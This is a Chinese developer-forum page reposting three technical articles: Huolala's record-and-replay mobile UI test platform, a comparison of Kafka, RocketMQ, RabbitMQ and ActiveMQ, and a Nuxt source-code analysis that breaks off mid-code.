注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

货拉拉App录制回放的探索与实践

作者简介:徐卓毅Joe,来自货拉拉/技术中心/质量保障部,专注于移动测试效能方向。 一、背景与目标 近些年货拉拉的业务持续高速发展,为了满足业务更短周期、更高质量交付的诉求,从今年开始我们的移动App的迭代交付模型也从双周演化为单周。因此,在一周一版的紧张节...
继续阅读 »

作者简介:徐卓毅Joe,来自货拉拉/技术中心/质量保障部,专注于移动测试效能方向。



一、背景与目标


近些年货拉拉的业务持续高速发展,为了满足业务更短周期、更高质量交付的诉求,从今年开始我们的移动App的迭代交付模型也从双周演化为单周。因此,在一周一版的紧张节奏下,随之而来的对测试质量保障的挑战也日益增加,首当其冲要解决的就是如何降低移动App每周版本回归测试的人力投入。


早期我们尝试过基于Appium框架编写UI自动化测试脚本,并且为了降低编写难度,我们也基于Appium框架进行了二次开发,但实践起来依然困难重重,主要原因在于:




  1. 上手和维护成本高



    • 需要掌握一定基础知识才能编写脚本和排查过程中遇到的问题;

    • 脚本编写+调试耗时长,涉及的元素定位+操作较多,调试要等待脚本执行回放才能看到结果;

    • 排查成本高,由于UI自动化测试的稳定性低,需投入排查的脚本较多,耗时长;

    • 维护成本高,每个迭代的需求改动都可能导致页面元素或链路调整,需不定期维护;




  2. 测试脚本稳定性低



    • 容易受多种因素(服务端环境、手机环境等)影响,这也造成了问题排查和溯源困难;

    • 脚本本身的稳定性低,模拟手工操作的方式,但实际操作点击没有那么智能;

      • 脚本识别元素在不同分辨率、不同系统版本上,识别的速度及准确度不同;

      • 不同设备在某些操作上表现,例如缩放(缩放多少)、滑动(滑动多少)有区别;

      • 由于功能复杂性、不同玩法的打断(如广告、弹窗、ab实验等);






所以,在App UI自动化测试上摸爬滚打一段时间后,我们积累了大量的踩坑经验。但这些经验也让我们更加明白,如果要大规模推行App UI自动化测试,必须要提高自动化ROI,否则很难达到预期效果,成本收益得不偿失。


我们的目标是打造一个低成本、高可用的App UI自动化测试平台。它需要满足如下条件:



  1. 更低的技术门槛:上手简单,无需环境配置;

  2. 更快的编写速度:无需查找控件,手机上操作后就能生成一条可执行的测试脚本;

  3. 更小的维护成本: 支持图像识别,减少由于控件改动导致的问题;

  4. 更高的稳定性: 回放识别通过率高,降低环境、弹窗的影响;

  5. 更好的平台功能: 支持脚本管理、设备调度、测试报告等能力,提升执行效率,降低排查成本;


二、行业方案


image.png


考虑到自动化ROI,我们基本确定要使用基于录制回放方式的自动化方案,所以我们也调研了美团、爱奇艺、字节、网易这几个公司的测试工具平台的实现方案:



  1. 网易Airtest是唯一对外发布的工具,但免费版本是IDE编写的,如果是小团队使用该IDE录制UI脚本来说还是比较方便的,但对于多团队协同,以及大规模UI自动化的实施的需求来说,其脚本管理、设备调度、实时报告等平台化功能的支持还不满足。

  2. 美团AlphaTest上使用的是App集成SDK的方式,可以通过底层Hook能力采集到操作数据、网络数据等更为详尽的内容,也提供了API支持业务方自定义实现,如果采用这种方案,移动研发团队的配合是很重要的。

  3. 爱奇艺的方案是在云真机的基础上,使用云IDE的方式进行录制,重点集成了脚本管理、设备调度、实时报告等平台化功能,这种方案的优势在于免去开发SDK的投入,可以做成通用能力服务于各业务App。

  4. 字节SmartEye也是采用集成SDK的方式,其工具本身更聚焦精准测试的能力建设,而精准测试当前货拉拉也在深入实践中,后续有机会我们再详细介绍。


综上分析,如果要继续推行App UI自动化测试,我们也需要自研测试平台,最好是能结合货拉拉现有的业务形态和能力优势,用最低的自研方案成本,快速搭建起适合我们的App录制回放测试平台,这样就能更快推动实践,降低业务测试当前面临的稳定性保障的压力。


三、能力建设


image.png


货拉拉现有的能力优势主要有:



  1. 货拉拉的云真机建设上已有成熟的经验(感兴趣的读者可参见文章《货拉拉云真机平台的演进与实践》);

  2. 货拉拉在移动App质效上已有深入实践,其移动云测平台已沉淀了多维度的自动化测试服务(如性能、兼容性、稳定性、健壮性、遍历、埋点等),具备比较成熟的平台能力。


因此,结合多方因素,最终我们选择了基于云真机开展App UI录制回放的方案,在借鉴其他公司优秀经验的基础上,结合我们对App UI自动化测试过程中积累的宝贵经验,打造了货拉拉App云录制回放测试平台。


下面我们会按录制能力、回放能力、平台能力三大部分进行介绍。


3.1 录制能力


录制流程从云真机的操作事件开始,根据里面的截图和操作坐标解析操作的控件,最终将操作转化为脚本里的单个步骤。并且支持Android和iOS双端,操作数据上报都是用旁路上报的方式,不会阻塞在手机上的操作。


image.png
下面是我们当前基于云真机录制的效果:



  在录制的过程中,其目标主要有:



  1. 取到当前操作的类型 点击、长按、输入、滑动等;

  2. 取到操作的目标控件 按钮、标签栏、文本框等;


3.1.1 云真机旁路上报&事件解析


  首先要能感知到用户在手机上做了什么操作,当我们在页面上使用云真机时,云真机后台可以监控到最原始的屏幕数据,不同操作的数据流如下:


// 点击
d 0 10 10 50
c
u 0
c
// 长按
d 0 10 10 50
c
<wait in your own code>
u 0
c
// 滑动
d 0 0 0 50
c
<wait in your own code> //需要拖拽加上等待时间
m 0 20 0 50
c
m 0 40 0 50
c
m 0 60 0 50
c
m 0 80 0 50
c
m 0 100 0 50
c
u 0
c

  根据协议我们可以判断每次操作的类型以及坐标,但仅依赖坐标的录制并不灵活,也不能实现例如断言一类的操作,所以拿到控件信息也非常关键。


  一般UI自动化中会dump出控件树,通过控件ID或层级关系定位控件。而dump控件树是一个颇为耗时的动作,普通布局的页面也需要2S左右。



  如果在录制中同时dump控件树,那我们每点击都要等待进度条转完,显然这不是我们想要的体验。而可以和操作坐标一起拿到的还有手机画面的视频流,虽然单纯的截图没有控件信息,但假如截图可以像控件树一样拆分出独立的控件区域,我们就可以结合操作坐标匹配对应控件。


3.1.2 控件/文本检测


  控件区域检测正是深度学习中的目标检测能解决的问题。


  这里我们先简单看一下深度学习的原理以及在目标检测过程中做了什么。


  深度学习原理



深度学习使用了一种被称为神经网络的结构。像人脑中的神经元一样,神经网络中的节点会对输入数据进行处理,然后将结果传递到下一个层级。这种逐层传递和处理数据的方式使得深度学习能够自动学习数据的复杂结构和模式。



  总的来说,深度学习网络逐层提取输入的特征,总结成更抽象的特征,将学习到的知识作为权重保存到网络中。


image.pngimage.png

举个例子,如果我们使用深度学习来学习识别猫的图片,那么神经网络可能会在第一层学习识别图片中的颜色或边缘,第二层可能会识别出特定的形状或模式,第三层可能会识别出猫的某些特征,如猫的眼睛或耳朵,最后,网络会综合所有的特征来确定这张图片是否是猫。


  目标检测任务


  目标检测是深度学习中的常见任务,任务的目标是在图像中识别并定位特定物体。


  在我们的应用场景中,任务的目标自然是UI控件:



  1. 识别出按钮、文本框等控件,可以归类为图标、图片和文本;

  2. 圈定控件的边界范围;


这里我们选用知名的YOLOX目标检测框架,社区里也开放许多了以UI为目标的预训练模型和数据集,因为除了自动化测试外,还有通过UI设计稿生成前端代码等应用场景。


roboflow公开数据集


  下图是使用公开数据集直接推理得到的控件区域,可以看出召回率不高。这是因为公开数据集中国外APP标注数据更多,且APP的UI风格不相似。


示例一示例二

预训练和微调模型


  而最终推理效果依赖数据集质量,这需要我们微调模型。由于目标数据集相似,所以我们只需要在预训练模型基础时,冻结骨干网络,重置最后输出层权重,喂入货拉拉风格的UI数据继续训练,可以得到更适用的模型。


model = dict (backbone=dict (frozen_stages=1 # 表示第一层 stage 以及它之前的所有 stage 中的参数都会被冻结 )) 


通过目标检测任务,我们可以拿到图标类的控件,控件的截图可以作为标识存储。当然,文本类的控件还是转化成文本存储更理想。针对文本的目标检测任务不仅精准度更高,还能提供目标文本的识别结果。我们单独用PaddleOCR再做了一次文本检测识别。


3.1.3 脚本生成


  所有操作最终都会转化为脚本储存,我们自定义了一种脚本格式用来封装不同的UI操作。


  以一次点击为例,操作类型用Click()表示;如果是点击图标类控件,会将图标的截图保存(以及录制时的屏幕相对坐标,用于辅助回放定位),而点击文案则是记录文本。



  操作消抖: 点击、长按和滑动之间通过设置固定的时长消除实际操作时的抖动,我们取系统中的交互动效时长,一般是200~300ms。


  文本输入: 用户实际操作输入文本时分为两种情况,一是进入页面时自动聚焦编辑框,另一种是用户主动激活编辑,都会拉起虚拟键盘。我们在回放时也需要在拉起键盘的情况下输入,才能真实还原键盘事件对页面的影响。


am broadcast -a ADB_INPUT_B64 --es msg "xxx"

  目标分组: 一个页面上可能有多个相同的图标或文案,所以在录制时会聚合相同分组,在脚本中通过下标index(0)区分。


3.2 回放能力


  回放脚本时,则是根据脚本里记录的控件截图和文本,匹配到回放手机上的目标区域,进而执行点击、滑动等操作。这里用到的图像和文本匹配能力也会用在脚本断言里。


image.png


回放效果见下图:



3.2.1 图像匹配


  与文本相比,图标类控件在回放时要应对的变化更多:



  • 颜色不同;

  • 分辨率不同

  • 附加角标等提示;


  在这种场景中,基于特征点匹配的SIFT算法很合适。



尺度不变特征变换(Scale-invariant feature transform, SIFT)是计算机视觉中一种检测、描述和匹配图像局部特征点的方法,通过在不同的尺度空间中检测极值点或特征点(Conrner Point, Interest Point),提取出其位置、尺度和旋转不变量,并生成特征描述子,最后用于图像的特征点匹配。



  对图像做灰度预处理之后能减少颜色带来的噪音,而SIFT的尺度不变特性容忍了分辨率变化,附加的角标不会影响关键特征点的匹配。


  除此之外,为了减低误匹配,我们增加了两个操作:


  RegionMask:在匹配之前,我们也做了控件检测,并作为遮罩层Mask设置到SIFT中,排除错误答案之后的特征点更集中稳定。



  屏蔽旋转不变性:因为不需要在页面上匹配旋转后的目标,所以我们将提取的特征点向量角度统一重置为0。


  sift.detect(image, kpVector, mask);
// 设置角度统一为0,禁用旋转不变性
for (int i = 0; i < kpVector.size(); i++) {
KeyPoint point = kpVector.get(i);
point.angle(0);
...
}
sift.compute(image, kpVector, ret);

3.2.2 文本匹配


  文本匹配很容易实现,在OCR之后做字符串比较可以得到结果。


  但是因为算法本身精准度并不是百分百(OCR识别算法CRNN精准度在80%),遇到长文案时会出现识别错误,我们通过计算与期望文本间的编辑距离容忍这种误差。



  但最常见的还是全角和半角字符间的识别错误,需要把标点符号作为噪音去除。


  还有另一个同样和长文案有关的场景:机型宽度不同时,会出现文案换行展示的情况,这时就不能再去完整匹配,但可以切换到xpath使用部分匹配


//*[contains(@text,'xxx')]

3.2.3 兜底弹窗处理


  突然出现的弹窗是UI自动化中的一大痛点,无论是时机和形式都无法预测,造成的结果是自动化测试中断。



  弹窗又分为系统弹窗和业务弹窗,我们有两种处理弹窗的策略:



  1. Android提供了一个DeviceOwner角色托管设备,并带有一个策略配置(PERMISSION_POLICY_AUTO_GRANT),测试过程中APP申请权限时天宫管家自动授予权限;




  1. 在自动化被中断时,再次检查页面有没有白名单中的弹窗文案,有则触发兜底逻辑,关闭弹窗后,恢复自动化执行。


3.2.4 自动装包授权


  Android碎片化带来的还有不同的装包验证策略,比如OPPO&VIVO系机型就需要输入密码才能安装非商店应用。


  为了保持云真机的环境纯净,我们没有通过获取ROOT授权的方式绕过,而是采用部署在云真机内置的装包助手服务适配了不同机型的装包验证。




3.2.5 数据构造&请求MOCK


  目前为止我们录制到的还只有UI的操作,但场景用例中缺少不了测试数据的准备。
  首先是测试数据构造,脚本中提供一个封装好的动作,调用内部平台数据工厂,通过传入和保存变量能在脚本间传递调用的数据。



  同时脚本还可以关联到APP-MOCK平台,在一些固定接口或特定场景MOCK接口响应。譬如可以固定AB实验配置,又或是屏蔽推送类的通知。



3.1 平台能力


3.3.1 用例编辑&管理


  有实践过UI自动化的人应该有这种感受,在个人电脑搭建一套自动化环境是相当费劲的,更不用说要同时兼顾Android和iOS。


  当前我们已经达成了UI自动化纯线上化这一个小目标,只需要在浏览器中就可以完成UI脚本的编辑、调试和执行。现在正完善更多的线上操作,以Monaco Editor为基础编辑器提供更方便的脚本编辑功能。


image.png


3.3.2 脚本组&任务调度


  为了方便管理数量渐涨的用例,我们通过脚本组的方式分模块组织和执行脚本。每个脚本组可以设置前后置脚本和使用的帐号类别,一个脚本组会作为最小的执行单元发送到手机上执行。



  我们可以将回归场景拆分成若干个组在多台设备上并发执行,大大缩短了自动化用例的执行时间。


四、效果实践


4.1 回归测试提效


App录制回放能力建设完毕后,我们立即在多个业务线推动UI自动化测试实践。我们也专门成立了一支虚拟团队,邀请各团队骨干加入,明确回归测试提效的目标,拉齐认知,统一节奏,以保障UI自动化的大规模实践的顺利落地。




  1. 建立问题同步及虚拟团队管理的相关制度,保障问题的快速反馈和快速解决。




  2. 制定团队的UI测试实践管理规范,指导全体成员按统一的标准去执行,主要包括:



    • 回归用例筛选:按模块维度进行脚本转化,优先覆盖P0用例(占比30%左右);

    • 测试场景设计:设计可以串联合并的场景,这样合并后可提升自动化执行速度;

    • 测试数据准备:自动化账号怎么管理,有哪些推荐的数据准备方案;

    • 脚本编写手册:前置脚本、公共脚本引入规范、断言规范等;

    • 脚本执行策略:脚本/脚本组管理及执行策略,怎样能执行的更快;




image.png


所以,我们在很短的时间内就完成了P0回归测试用例的转化,同时我们还要求:



  1. 回放通过率必须高于90%,避免给业务测试人员造成额外的干扰,增加排查工作量;

  2. 全量场景用例的执行总时长要小于90分钟,充分利用云真机的批量调度能力,快速输出测试报告。而且某种程度来说,还能避开因服务端部署带来的环境问题的影响;


截止目前,我们已经支持10多次单周版本的回归测试,已经可以替代部分手工回归测试工作量,降低测试压力的同时提升了版本发布质量的信心。


4.2 整体测试效能提升


在App UI自动化测试的实施取得突破性进展后,我们开始尝试优化原有性能、兼容、埋点等自动化测试遇到的一些问题,以提升移动App的整体测试效能。



  • App性能自动化测试: 原有的性能测试脚本都是使用基于UI元素定位的方式,每周的功能迭代都或多或少会影响到脚本的稳定性,所以我们的性能脚本早期每周都需要维护。而现在的性能测试脚本通过率一般情况下都是100%,极个别版本才会出现微调脚本的情况。

  • App深度兼容测试: 当涉及移动App测试时,兼容性测试的重要性不言而喻。移动云测平台在很早就已支持了标准兼容测试能力,即结合智能遍历去覆盖更多的App页面及场景,去发现一些基础的兼容测试问题。但随着App UI自动化测试的落地,现在我们已经可以基于大量的UI测试脚本在机房设备上开展深度兼容测试。


机房执行深度兼容测试


  • App 埋点 自动化测试: 高价值埋点的回归测试,以往我们都需要在回归期间去手工额外去触发操作路径,现在则基于UI自动化测试模拟用户操作行为,再结合移动云测平台已有的埋点自动校验+测试结果实时展示的能力,彻底解放人力,实现埋点全流程自动化测试。




  • 接入 CICD 流水线: 我们将核心场景的UI回归用例配CICD流水线中,每当代码合入或者触发构建后,都会自动触发验证流程,如果测试不通过,构建人和相关维护人都能立即收到消息通知,进一步提升了研发协同效率。


流程图 (3).jpg


五、未来展望



“道阻且长,行则将至,行而不辍,未来可期”。——《荀子·修身》



货拉拉App云录制回放测试平台的建设上,未来还有一些可提升的方向:



  1. 迭代优化模型,提升精准度和性能;

  2. 补全数据的录制回放,增加本地配置和缓存的控制;

  3. 探索使用AI大模型的识图能力,辨别APP页面上的UI异常;

  4. 和客户端精准测试结合,推荐未覆盖场景和变更相关用例;


作者:货拉拉技术
来源:juejin.cn/post/7306331307477794867
收起阅读 »

4 种消息队列,如何选型?

大家好呀,我是楼仔。 最近发现很多号主发消息队列的文章,质量参差不齐,相关文章我之前也写过,建议直接看这篇。 这篇文章,主要讲述 Kafka、RabbitMQ、RocketMQ 和 ActiveMQ 这 4 种消息队列的异同,无论是面试,还是用于技术选型,都有...
继续阅读 »

大家好呀,我是楼仔。


最近发现很多号主发消息队列的文章,质量参差不齐,相关文章我之前也写过,建议直接看这篇。


这篇文章,主要讲述 Kafka、RabbitMQ、RocketMQ 和 ActiveMQ 这 4 种消息队列的异同,无论是面试,还是用于技术选型,都有非常强的参考价值。


不 BB,上文章目录:



01 消息队列基础


1.1 什么是消息队列?


消息队列是在消息的传输过程中保存消息的容器,用于接收消息并以文件的方式存储,一个消息队列可以被一个也可以被多个消费者消费,包含以下 3 元素:



  • Producer:消息生产者,负责产生和发送消息到 Broker;

  • Broker:消息处理中心,负责消息存储、确认、重试等,一般其中会包含多个 Queue;

  • Consumer:消息消费者,负责从 Broker 中获取消息,并进行相应处理。



1.2 消息队列模式



  • 点对点模式:多个生产者可以向同一个消息队列发送消息,一个具体的消息只能由一个消费者消费。




  • 发布/订阅模式:单个消息可以被多个订阅者并发的获取和处理。



1.3 消息队列应用场景



  • 应用解耦:消息队列减少了服务之间的耦合性,不同的服务可以通过消息队列进行通信,而不用关心彼此的实现细节。

  • 异步处理:消息队列本身是异步的,它允许接收者在消息发送很长时间后再取回消息。

  • 流量削锋:当上下游系统处理能力存在差距的时候,利用消息队列做一个通用的”载体”,在下游有能力处理的时候,再进行分发与处理。

  • 日志处理:日志处理是指将消息队列用在日志处理中,比如 Kafka 的应用,解决大量日志传输的问题。

  • 消息通讯:消息队列一般都内置了高效的通信机制,因此也可以用在纯的消息通讯,比如实现点对点消息队列,或者聊天室等。

  • 消息广播:如果没有消息队列,每当一个新的业务方接入,我们都要接入一次新接口。有了消息队列,我们只需要关心消息是否送达了队列,至于谁希望订阅,是下游的事情,无疑极大地减少了开发和联调的工作量。


02 常用消息队列


由于官方社区现在对 ActiveMQ 5.x 维护越来越少,较少在大规模吞吐的场景中使用,所以我们主要讲解 Kafka、RabbitMQ 和 RocketMQ。


2.1 Kafka


Apache Kafka 最初由 LinkedIn 公司基于独特的设计实现为一个分布式的提交日志系统,之后成为 Apache 项目的一部分,号称大数据的杀手锏,在数据采集、传输、存储的过程中发挥着举足轻重的作用。


它是一个分布式的,支持多分区、多副本,基于 Zookeeper 的分布式消息流平台,它同时也是一款开源的基于发布订阅模式的消息引擎系统。


重要概念



  • 主题(Topic):消息的种类称为主题,可以说一个主题代表了一类消息,相当于是对消息进行分类,主题就像是数据库中的表。

  • 分区(partition):主题可以被分为若干个分区,同一个主题中的分区可以不在一个机器上,有可能会部署在多个机器上,由此来实现 kafka 的伸缩性。

  • 批次:为了提高效率, 消息会分批次写入 Kafka,批次就代指的是一组消息。

  • 消费者群组(Consumer Gr0up):消费者群组指的就是由一个或多个消费者组成的群体。

  • Broker: 一个独立的 Kafka 服务器就被称为 broker,broker 接收来自生产者的消息,为消息设置偏移量,并提交消息到磁盘保存。

  • Broker 集群:broker 集群由一个或多个 broker 组成。

  • 重平衡(Rebalance):消费者组内某个消费者实例挂掉后,其他消费者实例自动重新分配订阅主题分区的过程。


Kafka 架构


一个典型的 Kafka 集群中包含 Producer、broker、Consumer Gr0up、Zookeeper 集群。


Kafka 通过 Zookeeper 管理集群配置,选举 leader,以及在 Consumer Gr0up 发生变化时进行 rebalance。Producer 使用 push 模式将消息发布到 broker,Consumer 使用 pull 模式从 broker 订阅并消费消息。



Kafka 工作原理


消息经过序列化后,通过不同的分区策略,找到对应的分区。


相同主题和分区的消息,会被存放在同一个批次里,然后由一个独立的线程负责把它们发到 Kafka Broker 上。



分区的策略包括顺序轮询、随机轮询和 key hash 这 3 种方式,那什么是分区呢?


分区是 Kafka 读写数据的最小粒度,比如主题 A 有 15 条消息,有 5 个分区,如果采用顺序轮询的方式,15 条消息会顺序分配给这 5 个分区,后续消费的时候,也是按照分区粒度消费。



由于分区可以部署在多个不同的机器上,所以可以通过分区实现 Kafka 的伸缩性,比如主题 A 的 5 个分区,分别部署在 5 台机器上,如果下线一台,分区就变为 4。


Kafka 消费是通过消费群组完成,同一个消费者群组,一个消费者可以消费多个分区,但是一个分区,只能被一个消费者消费。



如果消费者增加,会触发 Rebalance,也就是分区和消费者需要重新配对


不同的消费群组互不干涉,比如下图的 2 个消费群组,可以分别消费这 4 个分区的消息,互不影响。



2.2 RocketMQ


RocketMQ 是阿里开源的消息中间件,它是纯 Java 开发,具有高性能、高可靠、高实时、适合大规模分布式系统应用的特点。


RocketMQ 思路起源于 Kafka,但并不是 Kafka 的一个 Copy,它对消息的可靠传输及事务性做了优化,目前在阿里集团被广泛应用于交易、充值、流计算、消息推送、日志流式处理、binglog 分发等场景。


重要概念



  • Name 服务器(NameServer):充当注册中心,类似 Kafka 中的 Zookeeper。

  • Broker: 一个独立的 RocketMQ 服务器就被称为 broker,broker 接收来自生产者的消息,为消息设置偏移量。

  • 主题(Topic):消息的第一级类型,一条消息必须有一个 Topic。

  • 子主题(Tag):消息的第二级类型,同一业务模块不同目的的消息就可以用相同 Topic 和不同的 Tag 来标识。

  • 分组(Gr0up):一个组可以订阅多个 Topic,包括生产者组(Producer Gr0up)和消费者组(Consumer Gr0up)。

  • 队列(Queue):可以类比 Kafka 的分区 Partition。


RocketMQ 工作原理


RockerMQ 中的消息模型就是按照主题模型所实现的,包括 Producer Gr0up、Topic、Consumer Gr0up 三个角色。


为了提高并发能力,一个 Topic 包含多个 Queue,生产者组根据主题将消息放入对应的 Topic,下图是采用轮询的方式找到里面的 Queue。


RockerMQ 中的消费群组和 Queue,可以类比 Kafka 中的消费群组和 Partition:不同的消费者组互不干扰,一个 Queue 只能被一个消费者消费,一个消费者可以消费多个 Queue。


消费 Queue 的过程中,通过偏移量记录消费的位置。



RocketMQ 架构


RocketMQ 技术架构中有四大角色 NameServer、Broker、Producer 和 Consumer,下面主要介绍 Broker。


Broker 用于存放 Queue,一个 Broker 可以配置多个 Topic,一个 Topic 中存在多个 Queue。


如果某个 Topic 消息量很大,应该给它多配置几个 Queue,并且尽量多分布在不同 broker 上,以减轻某个 broker 的压力。Topic 消息量都比较均匀的情况下,如果某个 broker 上的队列越多,则该 broker 压力越大。



简单提一下,Broker 通过集群部署,并且提供了 master/slave 的结构,salve 定时从 master 同步数据(同步刷盘或者异步刷盘),如果 master 宕机,则 slave 提供消费服务,但是不能写入消息。


看到这里,大家应该可以发现,RocketMQ 的设计和 Kafka 真的很像!


2.3 RabbitMQ


RabbitMQ 2007 年发布,是使用 Erlang 语言开发的开源消息队列系统,基于 AMQP 协议来实现。


AMQP 的主要特征是面向消息、队列、路由、可靠性、安全。AMQP 协议更多用在企业系统内,对数据一致性、稳定性和可靠性要求很高的场景,对性能和吞吐量的要求还在其次。


重要概念



  • 信道(Channel):消息读写等操作在信道中进行,客户端可以建立多个信道,每个信道代表一个会话任务。

  • 交换器(Exchange):接收消息,按照路由规则将消息路由到一个或者多个队列;如果路由不到,或者返回给生产者,或者直接丢弃。

  • 路由键(RoutingKey):生产者将消息发送给交换器的时候,会发送一个 RoutingKey,用来指定路由规则,这样交换器就知道把消息发送到哪个队列。

  • 绑定(Binding):交换器和消息队列之间的虚拟连接,绑定中可以包含一个或者多个 RoutingKey。


RabbitMQ 工作原理


AMQP 协议模型由三部分组成:生产者、消费者和服务端,执行流程如下:



  1. 生产者是连接到 Server,建立一个连接,开启一个信道。

  2. 生产者声明交换器和队列,设置相关属性,并通过路由键将交换器和队列进行绑定。

  3. 消费者也需要进行建立连接,开启信道等操作,便于接收消息。

  4. 生产者发送消息,发送到服务端中的虚拟主机。

  5. 虚拟主机中的交换器根据路由键选择路由规则,发送到不同的消息队列中。

  6. 订阅了消息队列的消费者就可以获取到消息,进行消费。



常用交换器


RabbitMQ 常用的交换器类型有 direct、topic、fanout、headers 四种,具体的使用方法,可以参考官网:


官网入口:https://www.rabbitmq.com/getstarted.html


03 消息队列对比



3.1 Kafka


优点:



  • 高吞吐、低延迟:Kafka 最大的特点就是收发消息非常快,Kafka 每秒可以处理几十万条消息,它的最低延迟只有几毫秒;

  • 高伸缩性:每个主题(topic)包含多个分区(partition),主题中的分区可以分布在不同的主机(broker)中;

  • 高稳定性:Kafka 是分布式的,一个数据多个副本,某个节点宕机,Kafka 集群能够正常工作;

  • 持久性、可靠性、可回溯: Kafka 能够允许数据的持久化存储,消息被持久化到磁盘,并支持数据备份防止数据丢失,支持消息回溯;

  • 消息有序:通过控制能够保证所有消息被消费且仅被消费一次;

  • 有优秀的第三方 Kafka Web 管理界面 Kafka-Manager,在日志领域比较成熟,被多家公司和多个开源项目使用。


缺点:



  • Kafka 单机超过 64 个队列/分区,Load 会发生明显的飙高现象,队列越多,load 越高,发送消息响应时间变长;

  • 不支持消息路由,不支持延迟发送,不支持消息重试;

  • 社区更新较慢。


3.2 RocketMQ


优点:



  • 高吞吐:借鉴 Kafka 的设计,单一队列百万消息的堆积能力;

  • 高伸缩性:灵活的分布式横向扩展部署架构,整体架构其实和 kafka 很像;

  • 高容错性:通过ACK机制,保证消息一定能正常消费;

  • 持久化、可回溯:消息可以持久化到磁盘中,支持消息回溯;

  • 消息有序:在一个队列中可靠的先进先出(FIFO)和严格的顺序传递;

  • 支持发布/订阅和点对点消息模型,支持拉、推两种消息模式;

  • 提供 docker 镜像用于隔离测试和云集群部署,提供配置、指标和监控等功能丰富的 Dashboard。


缺点:



  • 不支持消息路由,支持的客户端语言不多,目前是 java 及 c++,其中 c++ 不成熟

  • 部分支持消息有序:需要将同一类的消息 hash 到同一个队列 Queue 中,才能支持消息的顺序,如果同一类消息散落到不同的 Queue中,就不能支持消息的顺序。

  • 社区活跃度一般。


3.3 RabbitMQ


优点:



  • 支持几乎所有最受欢迎的编程语言:Java,C,C ++,C#,Ruby,Perl,Python,PHP等等;

  • 支持消息路由:RabbitMQ 可以通过不同的交换器支持不同种类的消息路由;

  • 消息时序:通过延时队列,可以指定消息的延时时间,过期时间TTL等;

  • 支持容错处理:通过交付重试和死信交换器(DLX)来处理消息处理故障;

  • 提供了一个易用的用户界面,使得用户可以监控和管理消息 Broker;

  • 社区活跃度高。


缺点:



  • Erlang 开发,很难去看懂源码,不利于做二次开发和维护,基本职能依赖于开源社区的快速维护和修复 bug;

  • RabbitMQ 吞吐量会低一些,这是因为他做的实现机制比较重;

  • 不支持消息有序、持久化不好、不支持消息回溯、伸缩性一般。


04 消息队列选型


Kafka:追求高吞吐量,一开始的目的就是用于日志收集和传输,适合产生大量数据的互联网服务的数据收集业务,大型公司建议可以选用,如果有日志采集功能,肯定是首选 kafka。


RocketMQ:天生为金融互联网领域而生,对于可靠性要求很高的场景,尤其是电商里面的订单扣款,以及业务削峰,在大量交易涌入时,后端可能无法及时处理的情况。RoketMQ 在稳定性上可能更值得信赖,这些业务场景在阿里双 11 已经经历了多次考验,如果你的业务有上述并发场景,建议可以选择 RocketMQ。


RabbitMQ:结合 erlang 语言本身的并发优势,性能较好,社区活跃度也比较高,但是不利于做二次开发和维护,不过 RabbitMQ 的社区十分活跃,可以解决开发过程中遇到的 bug。如果你的数据量没有那么大,小公司优先选择功能比较完备的 RabbitMQ。


ActiveMQ:官方社区现在对 ActiveMQ 5.x 维护越来越少,较少在大规模吞吐的场景中使用。


今天就聊到这里,我们下一篇见~~




最后,把楼仔的座右铭送给你:我从清晨走过,也拥抱夜晚的星辰,人生没有捷径,你我皆平凡,你好,陌生人,一起共勉。


原创好文:


作者:楼仔
来源:juejin.cn/post/7306322677039235108
收起阅读 »

Nuxt源码浅析

web
来聊聊Nuxt源码。 聊聊启动nuxt项目 废话不多说,看官网一段Nuxt项目启动 const { Nuxt, Builder } = require('nuxt') const app = require('express')() const isProd...
继续阅读 »

来聊聊Nuxt源码。


聊聊启动nuxt项目


废话不多说,看官网一段Nuxt项目启动


const { Nuxt, Builder } = require('nuxt')

const app = require('express')()
const isProd = process.env.NODE_ENV === 'production'
const port = process.env.PORT || 3000

// 用指定的配置对象实例化 Nuxt.js
const config = require('./nuxt.config.js')
config.dev = !isProd
const nuxt = new Nuxt(config)

// 用 Nuxt.js 渲染每个路由
app.use(nuxt.render)

// 在开发模式下启用编译构建和热加载
if (config.dev) {
new Builder(nuxt).build().then(listen)
} else {
listen()
}

function listen() {
// 服务端监听
app.listen(port, '0.0.0.0')
console.log('Server listening on `localhost:' + port + '`.')
}

解读一下这段代码:


导入nuxt的Nuxt类和Builder类,然后用express创建一个node服务。


导入nuxt.config.js,使用导入的nuxt的config对象,创建nuxt实例: const nuxt = new Nuxt(config)


然后重点是 app.use(nuxt.render)。把nuxt.render作为node服务中间件使用即可。
到这里在生产上就可以运行了(生成前会先nuxt build)。


然后就是监听listen端口


所以到这里有2条线索,一个是:nuxt build的产物,自动生成路由。dist下的client和server资源文件是什么?
一个是,上面的服务,怎么会根据当前页面路径渲染出当期的html的。


你知道了,今天说的是第二条,来看看,nuxt是怎么渲染页面的,它做了什么nuxt到底是什么?


目录结构


下载好源码后来看下源码的核心目录结构


// 工程核心目录结构
├─ distributions
├─ nuxt // nuxt指令入口,同时对外暴露@nuxt/core、@nuxt/builder、@nuxt/generator、getWebpackConfig
├─ nuxt-start // nuxt start指令,同时对外暴露@nuxt/core
├─ lerna.json // lerna配置文件
├─ package.json
├─ packages // 工作目录
├─ babel-preset-app // babel初始预设
├─ builder // 根据路由构建动态当前页ssr资源,产出.nuxt资源
├─ cli // 脚手架命令入口
├─ config // 提供加载nuxt配置相关的方法
├─ core // Nuxt实例,加载nuxt配置,初始化应用模版,渲染页面,启动SSR服务
├─ generator // Generato实例,生成前端静态资源(非SSR)
├─ server // Server实例,基于Connect封装开发/生产环境http服务,管理Middleware
├─ types // ts类型
├─ utils // 工具类
├─ vue-app // 存放Nuxt应用构建模版,即.nuxt文件内容
├─ vue-renderer // 根据构建的SSR资源渲染html
└─ webpack // webpack相关配置、构建实例
├─ scripts
├─ test
└─ yarn.lock

Nuxt类在core下nuxt.js文件。来看看new Nuxt的主要代码:



export default class Nuxt extends Hookable {
constructor (options = {}) {
super(consola)

// Assign options and apply defaults
this.options = getNuxtConfig(options)

this.moduleContainer = new ModuleContainer(this)

// Deprecated hooks
this.deprecateHooks({
})

this.showReady = () => { this.callHook('webpack:done') }

// Init server
if (this.options.server !== false) {
